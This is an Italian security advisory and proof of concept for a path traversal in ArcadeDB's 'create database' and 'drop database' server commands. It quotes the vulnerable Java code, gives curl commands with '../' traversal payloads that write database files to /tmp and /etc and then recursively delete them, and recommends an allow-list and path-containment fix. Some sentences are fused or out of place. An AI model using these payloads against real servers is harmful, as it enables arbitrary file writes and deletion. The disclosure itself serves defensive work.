
Proof-of-concept per CVE-2026-75855, un path traversal nei comandi create/drop database di ArcadeDB che consente la scrittura e l'eliminazione arbitraria di file al di fuori della directory configurata.
Path Traversal nei comandi server "create database" / "drop database" consente scrittura ed eliminazione arbitraria di file al di fuori della directory database configurata
I comandi create database e drop database dell'endpoint POST /api/v1/server utilizzano il nome del database fornito dal chiamante per costruire un percorso del filesystem senza alcuna sanificazione, normalizzazione o controllo di contenimento. Un utente autenticato come account root del server ArcadeDB può fornire un nome contenente sequenze ../ per far creare al server (e successivamente eliminare) un intero database — file e directory arbitrari — in qualsiasi percorso assoluto del filesystem su cui il processo server può scrivere, completamente al di fuori della arcadedb.server.databaseDirectory configurata.
Ciò è stato verificato dal vivo, due volte in modo indipendente partendo da uno stato pulito: un comando create database appositamente costruito ha scritto file di database reali in /tmp/ e, in un test separato, in ; un comando corrispondente con la stessa stringa di traversal ha poi eliminato ricorsivamente la directory.
/etc/drop databaseserver/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
L'unica validazione è un controllo di non-vuotezza. databaseName fluisce senza modifiche in ArcadeDBServer.createDatabase() (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572):
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
Questa è una concatenazione di stringhe grezza, non un Path.resolve() con controllo di contenimento. DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java) non chiama mai .normalize() né verifica che il percorso risolto rimanga sotto la directory base prevista prima che create()/open() scrivano i file su disco.
dropDatabase() presenta la stessa mancanza di validazione e, poiché il server traccia il database sotto il nome letterale (contenente traversal) fornito dal chiamante, un successivo drop database elimina ricorsivamente qualsiasi directory in cui create database ha scritto.
checkRootUser(user) viene applicato prima di entrambi i comandi, quindi questo richiede l'account root del server — ma qui root è il superutente a livello applicativo di ArcadeDB, non necessariamente allo stesso livello di fiducia dell'accesso OS/shell all'host. Rompere il contenimento di databaseDirectory consente a quell'account a livello applicativo di scrivere ed eliminare file arbitrari ovunque il processo JVM abbia permessi OS.
Ambiente: ArcadeData/arcadedb @ commit 545e703, compilato dal sorgente (./mvnw -pl engine,server -am install -DskipTests), eseguito standalone con arcadedb.server.rootPassword impostato e arcadedb.server.databaseDirectory=/databases.
Confermare che la directory database prevista sia vuota.
Inviare un comando create database con un payload di traversal:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary..dict, txlog_.wal — un database ArcadeDB completo e reale. La directory databases/ prevista rimane vuota per tutto il tempo.
list databases restituisce la stringa di traversal letterale come nome registrato, confermando zero normalizzazione:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
Ripetuto con una traversal più profonda verso /etc/arcadedb-poc2 — riuscito in modo identico, dimostrando che la scrittura non è confinata a /tmp o a una particolare area del filesystem, ma solo a ciò su cui il processo può scrivere. Riprodotto anche con una traversal minima a livello singolo ../, confermando una reale fuga dal percorso piuttosto che un risultato coincidente.
drop database con la stessa stringa di traversal elimina ricorsivamente la directory:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}; directory confermata eliminata successivamente.
create database) ed eliminazione ricorsiva arbitraria (tramite drop database) in qualsiasi percorso assoluto su cui il processo server può scrivere, completamente al di fuori della sandbox databaseDirectory configurata.Rifiutare categoricamente i nomi di database contenenti separatori di percorso (/, \) o segmenti .. (una semplice regex di allow-list, ad esempio ^[A-Za-z0-9_-]+$, è standard per questa classe di identificatori) e risolvere difensivamente il percorso finale con Path.resolve(name).normalize() verificando che inizi ancora con la directory base configurata prima di qualsiasi operazione sui file, sia in createDatabase che in dropDatabase.
Credito: Pervin Zahidli (@ech0void )